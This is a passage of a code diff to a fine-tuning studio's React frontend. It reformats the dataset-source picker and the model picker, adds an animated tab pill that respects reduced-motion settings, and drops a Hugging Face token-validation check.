   const t = useT();
   const navigate = useNavigate();
+  const reducedMotion = useReducedMotion();
+  // Scopes the pill layoutId so multiple instances never share one.
+  const sourcePillLayoutId = useId();
   const {
     dataset,
     datasetSource,
@@ -242,7 +247,13 @@ export function DatasetSection() {
     );
   if (trainOnCompletions)
     streamingBlockers.push('Turn off "Assistant completions only".');
-  if (!hasSeparateStreamingEvalSplit({ evalSteps, datasetSplit, datasetEvalSplit }))
+  if (
+    !hasSeparateStreamingEvalSplit({
+      evalSteps,
+      datasetSplit,
+      datasetEvalSplit,
+    })
+  )
     streamingBlockers.push(
       "Pick a separate eval split — evaluation is on but no distinct eval split is set.",
     );
@@ -255,9 +266,13 @@ export function DatasetSection() {
       "Embedding models don't support streaming (training needs the full dataset).",
     );
   if (isDatasetImage)
-    streamingBlockers.push("This dataset looks like images, which can't stream.");
+    streamingBlockers.push(
+      "This dataset looks like images, which can't stream.",
+    );
   if (isDatasetAudio)
-    streamingBlockers.push("This dataset looks like audio, which can't stream.");
+    streamingBlockers.push(
+      "This dataset looks like audio, which can't stream.",
+    );
   if (platformDeviceType === "mac")
     streamingBlockers.push(
       "Streaming isn't supported on Apple Silicon (MLX) yet.",
@@ -388,9 +403,6 @@ export function DatasetSection() {
     enabled: pickerTab === "huggingface",
   });
 
-  const { error: tokenValidationError, isChecking: isCheckingToken } =
-    useHfTokenValidation(hfToken);
-
   const hfResultIds = useMemo(() => {
     const ids = hfResults.map((r) => r.id);
     if (dataset && !ids.includes(dataset)) {
@@ -491,12 +503,16 @@ export function DatasetSection() {
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
   const fileInputRef = useRef<HTMLInputElement>(null);
   const evalFileInputRef = useRef<HTMLInputElement>(null);
-  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
-    enabled: pickerTab === "huggingface",
-    isFetching: isLoading || isLoadingMore,
-    resultCount: hfResults.length,
-    resetKey: debouncedQuery,
-  });
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(
+    fetchMore,
+    scannedCount,
+    {
+      enabled: pickerTab === "huggingface",
+      isFetching: isLoading || isLoadingMore,
+      resultCount: hfResults.length,
+      resetKey: debouncedQuery,
+    },
+  );
 
   const [isUploading, setIsUploading] = useState(false);
   const [isDatasetDragOver, setIsDatasetDragOver] = useState(false);
@@ -519,9 +535,11 @@ export function DatasetSection() {
       setUploadLimitLabel(settings.maxUploadSizeLabel);
     };
     const unsubscribe = subscribeUploadLimitSettings(applyLimit);
-    void loadUploadLimitSettings().then((settings) => {
-      if (!cancelled) applyLimit(settings);
-    }).catch(() => {});
+    void loadUploadLimitSettings()
+      .then((settings) => {
+        if (!cancelled) applyLimit(settings);
+      })
+      .catch(() => {});
     return () => {
       cancelled = true;
       unsubscribe();
@@ -568,7 +586,10 @@ export function DatasetSection() {
       toast.success(successMessage, { description: uploaded.filename });
     } catch (error) {
       toast.error(t("studio.dataset.uploadFailed"), {
-        description: error instanceof Error ? error.message : t("studio.dataset.unknownError"),
+        description:
+          error instanceof Error
+            ? error.message
+            : t("studio.dataset.unknownError"),
       });
     } finally {
       setIsUploading(false);
@@ -592,7 +613,11 @@ export function DatasetSection() {
       return;
     }
 
-    await handleFileUpload(file, selectLocalDataset, t("studio.dataset.datasetUploaded"));
+    await handleFileUpload(
+      file,
+      selectLocalDataset,
+      t("studio.dataset.datasetUploaded"),
+    );
   };
 
   const handleDatasetFileChange = async (
@@ -640,7 +665,11 @@ export function DatasetSection() {
     event.target.value = "";
     if (!file) return;
 
-    await handleFileUpload(file, setUploadedEvalFile, t("studio.dataset.evalDatasetUploaded"));
+    await handleFileUpload(
+      file,
+      setUploadedEvalFile,
+      t("studio.dataset.evalDatasetUploaded"),
+    );
   };
 
   const handleOpenLearningRecipes = useCallback(() => {
@@ -656,44 +685,31 @@ export function DatasetSection() {
         title={t("studio.dataset.title")}
         description={t("studio.dataset.description")}
         accent="indigo"
-        className={`dark:shadow-border ${
-          advancedOpen || (datasetSource === "upload" && uploadedFile)
-            ? "min-h-studio-config-column"
-            : "h-studio-config-column"
-        }`}
+        className="dark:shadow-border min-h-studio-config-column"
       >
         <div className="flex min-w-0 flex-col gap-4">
           {(() => {
             // Hub-style sliding-pill segmented control, matching the Hub tabs
             // via the shared .hub-tab-toggle / .hub-tab-toggle-pill classes.
+            // flex-auto buttons share leftover space equally so padding stays
+            // equal for all labels; the pill sits inside the active button so
+            // it always matches its bounds.
             const sourceTabs: {
               value: "huggingface" | "upload" | "s3";
               label: string;
             }[] = [
               { value: "huggingface", label: "Hugging Face" },
               { value: "upload", label: t("studio.dataset.localTab") },
-              ...(!isMultimodalModel
-                ? [{ value: "s3" as const, label: "Amazon S3" }]
-                : []),
+              ...(isMultimodalModel
+                ? []
+                : [{ value: "s3" as const, label: "Amazon S3" }]),
             ];
-            const activeIndex = Math.max(
-              0,
-              sourceTabs.findIndex((item) => item.value === datasetSource),
-            );
             return (
               <div
                 role="radiogroup"
                 aria-label="Dataset source"
-                className="hub-tab-toggle relative inline-flex h-9 w-full items-center rounded-full"
+                className="hub-tab-toggle relative flex h-9 w-full items-center rounded-full"
               >
-                <span
-                  aria-hidden="true"
-                  className="hub-tab-toggle-pill pointer-events-none absolute inset-y-0 left-0 rounded-full transition-transform duration-200 ease-out"
-                  style={{
-                    width: `${100 / sourceTabs.length}%`,
-                    transform: `translateX(${activeIndex * 100}%)`,
-                  }}
-                />
                 {sourceTabs.map((item) => (
                   <button
                     key={item.value}
@@ -712,13 +728,30 @@ export function DatasetSection() {
                       }
                     }}
                     className={cn(
-                      "relative z-10 inline-flex h-9 flex-1 cursor-pointer items-center justify-center rounded-full px-3 text-[12.5px] font-medium transition-colors",
+                      "relative inline-flex h-9 flex-auto cursor-pointer items-center justify-center rounded-full px-3 text-ui-12p5 font-medium transition-colors",
                       datasetSource === item.value
                         ? "text-foreground"
                         : "text-muted-foreground hover:text-foreground",
                     )}
                   >
-                    {item.label}
+                    {datasetSource === item.value && (
+                      <motion.span
+                        aria-hidden="true"
+                        layoutId={sourcePillLayoutId}
+                        className="hub-tab-toggle-pill absolute inset-0 rounded-full"
+                        transition={
+                          reducedMotion
+                            ? { duration: 0 }
+                            : {
+                                type: "spring",
+                                stiffness: 500,
+                                damping: 35,
+                                mass: 0.5,
+                              }
+                        }
+                      />
+                    )}
+                    <span className="relative z-10">{item.label}</span>
                   </button>
                 ))}
               </div>
@@ -728,355 +761,370 @@ export function DatasetSection() {
           {datasetSource === "s3" && <S3ConfigForm />}
 
           {datasetSource !== "s3" && (
-          <div className="flex min-w-0 flex-col gap-2">
-            <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
-              {t("studio.dataset.chooseDataset")}
-              <span className="rounded-full border border-border/70 bg-muted/40 px-2 py-0.5 text-[10px] font-medium text-foreground/80">
-                {datasetSource === "upload" ? t("studio.dataset.localTab") : "Hugging Face"}
+            <div className="flex min-w-0 flex-col gap-2">
+              <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+                {t("studio.dataset.chooseDataset")}
+                <span className="rounded-full border border-border/70 bg-muted/40 px-2 py-0.5 text-ui-10 font-medium text-foreground/80">
+                  {datasetSource === "upload"
+                    ? t("studio.dataset.localTab")
+                    : "Hugging Face"}
+                </span>
+                <Tooltip>
+                  <TooltipTrigger asChild={true}>
+                    <button
+                      type="button"
+                      className="text-foreground/70 hover:text-foreground"
+                    >
+                      <HugeiconsIcon
+                        icon={InformationCircleIcon}
+                        className="size-3"
+                      />
+                    </button>
+                  </TooltipTrigger>
+                  <TooltipContent>
+                    {t("studio.dataset.chooseDatasetTooltip")}{" "}
+                    <a
+                      href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/datasets-guide"
+                      target="_blank"
+                      rel="noopener noreferrer"
+                      className="text-primary underline"
+                    >
+                      {t("studio.params.readMore")}
+                    </a>
+                  </TooltipContent>
+                </Tooltip>
               </span>
-              <Tooltip>
-                <TooltipTrigger asChild={true}>
-                  <button
-                    type="button"
-                    className="text-foreground/70 hover:text-foreground"
+              <div
+                ref={comboboxAnchorRef}
+                className="min-w-0"
+                onKeyDown={(event) => {
+                  if (event.key !== "Enter") return;
+                  if (!(event.target instanceof HTMLInputElement)) return;
+                  event.preventDefault();
+                  if (pickerTab === "huggingface") {
+                    if (hfResults.length > 0) {
+                      handleDatasetSelect(hfResults[0].id);
+                    } else {
+                      const text = event.target.value.trim();
+                      if (text) handleDatasetSelect(text);
+                    }
+                    return;
+                  }
+
+                  if (localResultIds.length > 0) {
+                    const selectedId = localResultIds[0];
+                    const path = localPathById.get(selectedId);
+                    if (path) {
+                      handleLocalDatasetSelect(path);
+                    }
+                  }
+                }}
+              >
+                <Combobox
+                  items={comboboxItems}
+                  filteredItems={comboboxItems}
+                  filter={null}
+                  value={comboboxValue}
+                  onOpenChange={(open) => {
+                    setSearchQuery("");
+                    if (
+                      open &&
+                      (pickerTab === "local" || activeSourceTab === "local")
+                    ) {
+                      void refreshLocalDatasets();
+                    }
+                    if (!open) {
+                      setPickerTab(
+                        pendingSourceTabRef.current ?? activeSourceTab,
+                      );
+                      pendingSourceTabRef.current = null;
+                    }
+                  }}
+                  onValueChange={(value) => {
+                    if (!value) {
+                      clearSelectionForTab(pickerTab);
+                      return;
+                    }
+                    if (pickerTab === "huggingface") {
+                      handleDatasetSelect(value);
+                      return;
+                    }
+                    const path = localPathById.get(value);
+                    if (path) {
+                      handleLocalDatasetSelect(path);
+                    }
+                  }}
+                  onInputValueChange={(value, eventDetails) =>
+                    handleInputChange(value, eventDetails)
+                  }
+                  itemToStringValue={(id) =>
+                    pickerTab === "local" ? (localLabelById.get(id) ?? id) : id
+                  }
+                  autoHighlight={true}
+                >
+                  <ComboboxInput
+                    placeholder={
+                      pickerTab === "huggingface"
+                        ? t("studio.dataset.searchHuggingFaceDatasets")
+                        : t("studio.dataset.searchLocalDatasets")
+                    }
+                    className="w-full min-w-0 overflow-hidden leading-5"
+                    showClear={true}
                   >
-                    <HugeiconsIcon
-                      icon={InformationCircleIcon}
-                      className="size-3"
-                    />
-                  </button>
-                </TooltipTrigger>
-                <TooltipContent>
-                  {t("studio.dataset.chooseDatasetTooltip")}{" "}
+                    <InputGroupAddon>
+                      <HugeiconsIcon icon={Search01Icon} className="size-4" />
+                    </InputGroupAddon>
+                  </ComboboxInput>
+                  <ComboboxContent anchor={comboboxAnchorRef}>
+                    <div className="px-2 pt-2 pb-2">
+                      <Tabs
+                        value={pickerTab}
+                        onValueChange={(value) => {
+                          setPickerTab(value as "huggingface" | "local");
+                          setSearchQuery("");
+                        }}
+                        className="w-full"
+                      >
+                        <TabsList className=" w-full">
+                          <TabsTrigger value="huggingface">
+                            Hugging Face
+                          </TabsTrigger>
+                          <TabsTrigger value="local">
+                            {t("studio.dataset.localTab")}
+                          </TabsTrigger>
+                        </TabsList>
+
+                        <TabsContent value="huggingface" className="m-0">
+                          {isLoading ? (
+                            <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
+                              <Spinner className="size-4" />{" "}
+                              {t("studio.dataset.searching")}
+                            </div>
+                          ) : (
+                            <ComboboxEmpty>
+                              {t("studio.dataset.noDatasetsFound")}
+                            </ComboboxEmpty>
+                          )}
+                          <div
+                            ref={scrollRef}
+                            className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
+                          >
+                            <ComboboxList className="p-1 !max-h-none !overflow-visible">
+                              {(id: string) => {
+                                return (
+                                  <ComboboxItem
+                                    key={id}
+                                    value={id}
+                                    className="gap-2"
+                                  >
+                                    <Tooltip>
+                                      <TooltipTrigger asChild={true}>
+                                        <span className="block min-w-0 flex-1 truncate">
+                                          {id}
+                                        </span>
+                                      </TooltipTrigger>
+                                      <TooltipContent
+                                        side="left"
+                                        className="max-w-xs break-all"
+                                      >
+                                        {id}
+                                      </TooltipContent>
+                                    </Tooltip>
+                                  </ComboboxItem>
+                                );
+                              }}
+                            </ComboboxList>
+                            <div ref={sentinelRef} className="h-px" />
+                            {isLoadingMore && (
+                              <div className="flex items-center justify-center py-2">
+                                <Spinner className="size-3.5 text-muted-foreground" />
+                              </div>
+                            )}
+                          </div>
+                        </TabsContent>
+
+                        <TabsContent value="local" className="m-0">
+                          {localLoading ? (
+                            <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
+                              <Spinner className="size-4" />{" "}
+                              {t("studio.dataset.loadingLocalDatasets")}
+                            </div>
+                          ) : (
+                            <>
+                              {localError ? (
+                                <p className="px-2 py-2 text-xs text-destructive">
+                                  {localError}
+                                </p>
+                              ) : (
+                                <ComboboxEmpty className="px-2 py-3">
+                                  <div className="flex w-full flex-col items-center gap-2 text-center">
+                                    <p className="text-xs text-muted-foreground">
+                                      {localDatasets.length === 0
+                                        ? t("studio.dataset.noLocalDatasetsYet")
+                                        : t(
+                                            "studio.dataset.noLocalDatasetsMatchSearch",
+                                          )}
+                                    </p>
+                                    {localDatasets.length === 0 ? (
+                                      <Button
+                                        asChild={true}
+                                        size="sm"
+                                        variant="outline"
+                                      >
+                                        <a href="/data-recipes">
+                                          {t("studio.dataset.openDataRecipes")}
+                                        </a>
+                                      </Button>
+                                    ) : null}
+                                  </div>
+                                </ComboboxEmpty>
+                              )}
+                              <div className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]">
+                                <ComboboxList className="p-1 !max-h-none !overflow-visible">
+                                  {(id: string) => {
+                                    const label = localLabelById.get(id) ?? id;
+                                    return (
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
+                                        <Tooltip>
+                                          <TooltipTrigger asChild={true}>
+                                            <span className="block min-w-0 flex-1 truncate">
+                                              {label}
+                                            </span>
+                                          </TooltipTrigger>
+                                          <TooltipContent
+                                            side="left"
+                                            className="max-w-xs break-all"
+                                          >
+                                            {label}
+                                          </TooltipContent>
+                                        </Tooltip>
+                                      </ComboboxItem>
+                                    );
+                                  }}
+                                </ComboboxList>
+                              </div>
+                            </>
+                          )}
+                        </TabsContent>
+                      </Tabs>
+                    </div>
+                  </ComboboxContent>
+                </Combobox>
+              </div>
+              {hfSearchError && (
+                <p className="text-xs text-destructive">
+                  {hfSearchError}
+                  {" — "}
                   <a
-                    href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/datasets-guide"
+                    href="https://huggingface.co/settings/tokens"
                     target="_blank"
                     rel="noopener noreferrer"
-                    className="text-primary underline"
+                    className="underline"
                   >
-                    {t("studio.params.readMore")}
+                    {t("studio.dataset.getOrUpdateToken")}
                   </a>
-                </TooltipContent>
-              </Tooltip>
-            </span>
-            <div
-              ref={comboboxAnchorRef}
-              className="min-w-0"
-              onKeyDown={(event) => {
-                if (event.key !== "Enter") return;
-                if (!(event.target instanceof HTMLInputElement)) return;
-                event.preventDefault();
-                if (pickerTab === "huggingface") {
-                  if (hfResults.length > 0) {
-                    handleDatasetSelect(hfResults[0].id);
-                  } else {
-                    const text = event.target.value.trim();
-                    if (text) handleDatasetSelect(text);
-                  }
-                  return;
-                }
-
-                if (localResultIds.length > 0) {
-                  const selectedId = localResultIds[0];
-                  const path = localPathById.get(selectedId);
-                  if (path) {
-                    handleLocalDatasetSelect(path);
-                  }
-                }
-              }}
-            >
-              <Combobox
-                items={comboboxItems}
-                filteredItems={comboboxItems}
-                filter={null}
-                value={comboboxValue}
-                onOpenChange={(open) => {
-                  setSearchQuery("");
-                  if (
-                    open &&
-                    (pickerTab === "local" || activeSourceTab === "local")
-                  ) {
-                    void refreshLocalDatasets();
-                  }
-                  if (!open) {
-                    setPickerTab(
-                      pendingSourceTabRef.current ?? activeSourceTab,
-                    );
-                    pendingSourceTabRef.current = null;
-                  }
-                }}
-                onValueChange={(value) => {
-                  if (!value) {
-                    clearSelectionForTab(pickerTab);
-                    return;
-                  }
-                  if (pickerTab === "huggingface") {
-                    handleDatasetSelect(value);
-                    return;
-                  }
-                  const path = localPathById.get(value);
-                  if (path) {
-                    handleLocalDatasetSelect(path);
-                  }
-                }}
-                onInputValueChange={(value, eventDetails) =>
-                  handleInputChange(value, eventDetails)
-                }
-                itemToStringValue={(id) =>
-                  pickerTab === "local" ? (localLabelById.get(id) ?? id) : id
-                }
-                autoHighlight={true}
-              >
-                <ComboboxInput
-                  placeholder={
-                    pickerTab === "huggingface"
-                      ? t("studio.dataset.searchHuggingFaceDatasets")
-                      : t("studio.dataset.searchLocalDatasets")
-                  }
-                  className="w-full min-w-0 overflow-hidden leading-5"
-                  showClear={true}
-                >
-                  <InputGroupAddon>
-                    <HugeiconsIcon icon={Search01Icon} className="size-4" />
-                  </InputGroupAddon>
-                </ComboboxInput>
-                <ComboboxContent anchor={comboboxAnchorRef}>
-                  <div className="px-2 pt-2 pb-2">
-                    <Tabs
-                      value={pickerTab}
-                      onValueChange={(value) => {
-                        setPickerTab(value as "huggingface" | "local");
-                        setSearchQuery("");
-                      }}
-                      className="w-full"
-                    >
-                      <TabsList className=" w-full">
-                        <TabsTrigger value="huggingface">Hugging Face</TabsTrigger>
-                        <TabsTrigger value="local">{t("studio.dataset.localTab")}</TabsTrigger>
-                      </TabsList>
-
-                      <TabsContent value="huggingface" className="m-0">
-                        {isLoading ? (
-                          <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
-                            <Spinner className="size-4" /> {t("studio.dataset.searching")}
-                          </div>
-                        ) : (
-                          <ComboboxEmpty>{t("studio.dataset.noDatasetsFound")}</ComboboxEmpty>
-                        )}
-                        <div
-                          ref={scrollRef}
-                          className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
-                        >
-                          <ComboboxList className="p-1 !max-h-none !overflow-visible">
-                            {(id: string) => {
-                              return (
-                                <ComboboxItem
-                                  key={id}
-                                  value={id}
-                                  className="gap-2"
-                                >
-                                  <Tooltip>
-                                    <TooltipTrigger asChild={true}>
-                                      <span className="block min-w-0 flex-1 truncate">
-                                        {id}
-                                      </span>
-                                    </TooltipTrigger>
-                                    <TooltipContent
-                                      side="left"
-                                      className="max-w-xs break-all"
-                                    >
-                                      {id}
-                                    </TooltipContent>
-                                  </Tooltip>
-                                </ComboboxItem>
-                              );
-                            }}
-                          </ComboboxList>
-                          <div ref={sentinelRef} className="h-px" />
-                          {isLoadingMore && (
-                            <div className="flex items-center justify-center py-2">
-                              <Spinner className="size-3.5 text-muted-foreground" />
-                            </div>
-                          )}
-                        </div>
-                      </TabsContent>
-
-                      <TabsContent value="local" className="m-0">
-                        {localLoading ? (
-                          <div className="flex items-center justify-center py-4 gap-2 text-xs text-muted-foreground">
-                            <Spinner className="size-4" /> {t("studio.dataset.loadingLocalDatasets")}
-                          </div>
-                        ) : (
-                          <>
-                            {localError ? (
-                              <p className="px-2 py-2 text-xs text-destructive">
-                                {localError}
-                              </p>
-                            ) : (
-                              <ComboboxEmpty className="px-2 py-3">
-                                <div className="flex w-full flex-col items-center gap-2 text-center">
-                                  <p className="text-xs text-muted-foreground">
-                                    {localDatasets.length === 0
-                                      ? t("studio.dataset.noLocalDatasetsYet")
-                                      : t("studio.dataset.noLocalDatasetsMatchSearch")}
-                                  </p>
-                                  {localDatasets.length === 0 ? (
-                                    <Button asChild={true} size="sm" variant="outline">
-                                      <a href="/data-recipes">{t("studio.dataset.openDataRecipes")}</a>
-                                    </Button>
-                                  ) : null}
-                                </div>
-                              </ComboboxEmpty>
-                            )}
-                            <div className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]">
-                              <ComboboxList className="p-1 !max-h-none !overflow-visible">
-                                {(id: string) => {
-                                  const label = localLabelById.get(id) ?? id;
-                                  return (
-                                    <ComboboxItem
-                                      key={id}
-                                      value={id}
-                                      className="gap-2"
-                                    >
-                                      <Tooltip>
-                                        <TooltipTrigger asChild={true}>
-                                          <span className="block min-w-0 flex-1 truncate">
-                                            {label}
-                                          </span>
-                                        </TooltipTrigger>
-                                        <TooltipContent
-                                          side="left"
-                                          className="max-w-xs break-all"
-                                        >
-                                          {label}
-                                        </TooltipContent>
-                                      </Tooltip>
-                                    </ComboboxItem>
-                                  );
-                                }}
-                              </ComboboxList>
-                            </div>
-                          </>
-                        )}
-                      </TabsContent>
-                    </Tabs>
-                  </div>
-                </ComboboxContent>
-              </Combobox>
+                </p>
+              )}
+              {pickerTab !== activeSourceTab && (
+                <p className="text-ui-11 text-muted-foreground">
+                  {t("studio.dataset.browsingSource", {
+                    browsing:
+                      pickerTab === "local"
+                        ? t("studio.dataset.localDatasets")
+                        : "Hugging Face",
+                    current:
+                      datasetSource === "upload"
+                        ? t("studio.dataset.localTab")
+                        : "Hugging Face",
+                  })}
+                </p>
+              )}
             </div>
-            {(tokenValidationError ?? hfSearchError) && (
-              <p className="text-xs text-destructive">
-                {tokenValidationError ?? hfSearchError}
-                {" — "}
-                <a
-                  href="https://huggingface.co/settings/tokens"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  className="underline"
-                >
-                  {t("studio.dataset.getOrUpdateToken")}
-                </a>
-              </p>
-            )}
-            {isCheckingToken && (
-              <p className="text-xs text-muted-foreground">
-                {t("studio.dataset.checkingToken")}
-              </p>
-            )}
-            {pickerTab !== activeSourceTab && (
-              <p className="text-[11px] text-muted-foreground">
-                {t("studio.dataset.browsingSource", {
-                  browsing:
-                    pickerTab === "local"
-                      ? t("studio.dataset.localDatasets")
-                      : "Hugging Face",
-                  current:
-                    datasetSource === "upload"
-                      ? t("studio.dataset.localTab")
-                      : "Hugging Face",
-                })}
-              </p>
-            )}
-          </div>
           )}
 
           {datasetSource !== "s3" &&
             (isHfDatasetSelected ? (
-            <HfDatasetSubsetSplitSelectors
-              variant="studio"
-              enabled={true}
-              datasetName={dataset}
-              accessToken={hfToken || undefined}
-              datasetSubset={datasetSubset}
-              setDatasetSubset={setDatasetSubset}
-              datasetSplit={datasetSplit}
-              setDatasetSplit={setDatasetSplit}
-              datasetEvalSplit={datasetEvalSplit}
-              setDatasetEvalSplit={setDatasetEvalSplit}
-            />
-          ) : !selectedDatasetName ? (
-            <HfDatasetSubsetSplitSelectors
-              variant="studio"
-              enabled={false}
-              datasetName={null}
-              accessToken={hfToken || undefined}
-              datasetSubset={datasetSubset}
-              setDatasetSubset={setDatasetSubset}
-              datasetSplit={datasetSplit}
-              setDatasetSplit={setDatasetSplit}
-              datasetEvalSplit={datasetEvalSplit}
-              setDatasetEvalSplit={setDatasetEvalSplit}
-            />
-          ) : datasetSource === "upload" && selectedLocalDataset ? (
-            <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
-              <div className="mb-3 flex items-center justify-between gap-3">
-                <div>
-                  <p className="text-xs font-medium text-muted-foreground">
-                    {t("studio.dataset.localDatasetMetadata")}
-                  </p>
-                  <p className="text-[10px] text-muted-foreground/80">
-                    {t("studio.dataset.dataRecipeOutput")}
-                  </p>
-                </div>
-              </div>
+              <HfDatasetSubsetSplitSelectors
+                variant="studio"
+                enabled={true}
+                datasetName={dataset}
+                accessToken={hfToken || undefined}
+                datasetSubset={datasetSubset}
+                setDatasetSubset={setDatasetSubset}
+                datasetSplit={datasetSplit}
+                setDatasetSplit={setDatasetSplit}
+                datasetEvalSplit={datasetEvalSplit}
+                setDatasetEvalSplit={setDatasetEvalSplit}
+              />
+            ) : selectedDatasetName ? (
+              datasetSource === "upload" && selectedLocalDataset ? (
+                <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
+                  <div className="mb-3 flex items-center justify-between gap-3">
+                    <div>
+                      <p className="text-xs font-medium text-muted-foreground">
+                        {t("studio.dataset.localDatasetMetadata")}
+                      </p>
+                      <p className="text-ui-10 text-muted-foreground/80">
+                        {t("studio.dataset.dataRecipeOutput")}
+                      </p>
+                    </div>
+                  </div>
 
-              <div className="flex flex-col gap-3">
-                <div className="grid grid-cols-2 gap-x-4 gap-y-2 text-xs">
-                  <MetadataRow
-                    label={t("studio.dataset.rows")}
-                    value={
-                      typeof selectedLocalRows === "number"
-                        ? selectedLocalRows.toLocaleString()
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.columns")}
-                    value={
-                      selectedLocalColumns.length > 0
-                        ? String(selectedLocalColumns.length)
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.batches")}
-                    value={
-                      typeof selectedLocalMetadata?.num_completed_batches ===
-                        "number" &&
-                      typeof selectedLocalMetadata?.total_num_batches ===
-                        "number"
-                        ? `${selectedLocalMetadata.num_completed_batches}/${selectedLocalMetadata.total_num_batches}`
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.updated")}
-                    value={formatUpdatedDate(selectedLocalUpdatedAt)}
-                  />
+                  <div className="flex flex-col gap-3">
+                    <div className="grid grid-cols-2 gap-x-4 gap-y-2 text-xs">
+                      <MetadataRow
+                        label={t("studio.dataset.rows")}
+                        value={
+                          typeof selectedLocalRows === "number"
+                            ? selectedLocalRows.toLocaleString()
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.columns")}
+                        value={
+                          selectedLocalColumns.length > 0
+                            ? String(selectedLocalColumns.length)
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.batches")}
+                        value={
+                          typeof selectedLocalMetadata?.num_completed_batches ===
+                            "number" &&
+                          typeof selectedLocalMetadata?.total_num_batches ===
+                            "number"
+                            ? `${selectedLocalMetadata.num_completed_batches}/${selectedLocalMetadata.total_num_batches}`
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.updated")}
+                        value={formatUpdatedDate(selectedLocalUpdatedAt)}
+                      />
+                    </div>
+                  </div>
                 </div>
-              </div>
-            </div>
-          ) : null)}
+              ) : null
+            ) : (
+              <HfDatasetSubsetSplitSelectors
+                variant="studio"
+                enabled={false}
+                datasetName={null}
+                accessToken={hfToken || undefined}
+                datasetSubset={datasetSubset}
+                setDatasetSubset={setDatasetSubset}
+                datasetSplit={datasetSplit}
+                setDatasetSplit={setDatasetSplit}
+                datasetEvalSplit={datasetEvalSplit}
+                setDatasetEvalSplit={setDatasetEvalSplit}
+              />
+            ))}
 
           {datasetSource === "upload" && uploadedFile && (
             <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
@@ -1124,7 +1172,7 @@ export function DatasetSection() {
                       ? t("studio.dataset.uploading")
                       : t("studio.dataset.uploadEvalFile")}
                   </Button>
-                  <p className="text-[10px] text-muted-foreground/80">
+                  <p className="text-ui-10 text-muted-foreground/80">
                     {t("studio.dataset.evalDatasetDescription")}
                   </p>
                 </div>
@@ -1135,7 +1183,7 @@ export function DatasetSection() {
           <Collapsible open={advancedOpen} onOpenChange={setAdvancedOpen}>
             <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 className={`size-3.5 transition-transform ${advancedOpen ? "rotate-180" : ""}`}
               />
               {t("studio.dataset.advanced")}
@@ -1180,11 +1228,15 @@ export function DatasetSection() {
                       <SelectValue />
                     </SelectTrigger>
                     <SelectContent>
-                      <SelectItem value="auto">{t("studio.dataset.auto")}</SelectItem>
+                      <SelectItem value="auto">
+                        {t("studio.dataset.auto")}
+                      </SelectItem>
                       <SelectItem value="alpaca">Alpaca</SelectItem>
                       <SelectItem value="chatml">ChatML</SelectItem>
                       <SelectItem value="sharegpt">ShareGPT</SelectItem>
-                      <SelectItem value="raw">{t("studio.dataset.rawText")}</SelectItem>
+                      <SelectItem value="raw">
+                        {t("studio.dataset.rawText")}
+                      </SelectItem>
                     </SelectContent>
                   </Select>
                 </div>
@@ -1327,7 +1379,7 @@ export function DatasetSection() {
                           deriveLocalDatasetName(selectedDatasetName))
                         : selectedDatasetName}
                     </p>
-                    <p className="text-[10px] text-muted-foreground">
+                    <p className="text-ui-10 text-muted-foreground">
                       {datasetSource === "upload" ? (
                         uploadedFile ? (
                           <>
@@ -1381,9 +1433,9 @@ export function DatasetSection() {
                     <span className="block text-xs font-medium text-foreground">
                       {t("studio.dataset.dropFileOrClick")}
                     </span>
-                    <span className="mt-0.5 block truncate text-[10px] text-muted-foreground">
-                      {TRAINING_DATASET_UPLOAD_LABEL} · up to{" "}
-                      {uploadLimitLabel}; {DOCUMENT_REDIRECT_LABEL}
+                    <span className="mt-0.5 block truncate text-ui-10 text-muted-foreground">
+                      {TRAINING_DATASET_UPLOAD_LABEL} · up to {uploadLimitLabel}
+                      ; {DOCUMENT_REDIRECT_LABEL}
                     </span>
                   </span>
                 </button>
@@ -1400,7 +1452,10 @@ export function DatasetSection() {
                   {isUploading ? (
                     <Spinner className="size-3.5" />
                   ) : (
-                    <HugeiconsIcon icon={CloudUploadIcon} className="size-3.5" />
+                    <HugeiconsIcon
+                      icon={CloudUploadIcon}
+                      className="size-3.5"
+                    />
                   )}
                   {isUploading
                     ? t("studio.dataset.uploading")
diff --git a/studio/frontend/src/features/studio/sections/model-section.tsx b/studio/frontend/src/features/studio/sections/model-section.tsx
index c8f36b397c..0589fde350 100644
--- a/studio/frontend/src/features/studio/sections/model-section.tsx
+++ b/studio/frontend/src/features/studio/sections/model-section.tsx
@@ -374,7 +374,7 @@ export function ModelSection() {
                               {model?.path ?? id}
                             </TooltipContent>
                           </Tooltip>
-                          <span className="ml-auto shrink-0 text-[10px] text-muted-foreground">
+                          <span className="ml-auto shrink-0 text-ui-10 text-muted-foreground">
                             {source}
                           </span>
                         </ComboboxItem>
@@ -385,13 +385,13 @@ export function ModelSection() {
               </Combobox>
             </div>
             {isLoadingLocalModels ? (
-              <p className="text-[10px] text-muted-foreground">
+              <p className="text-ui-10 text-muted-foreground">
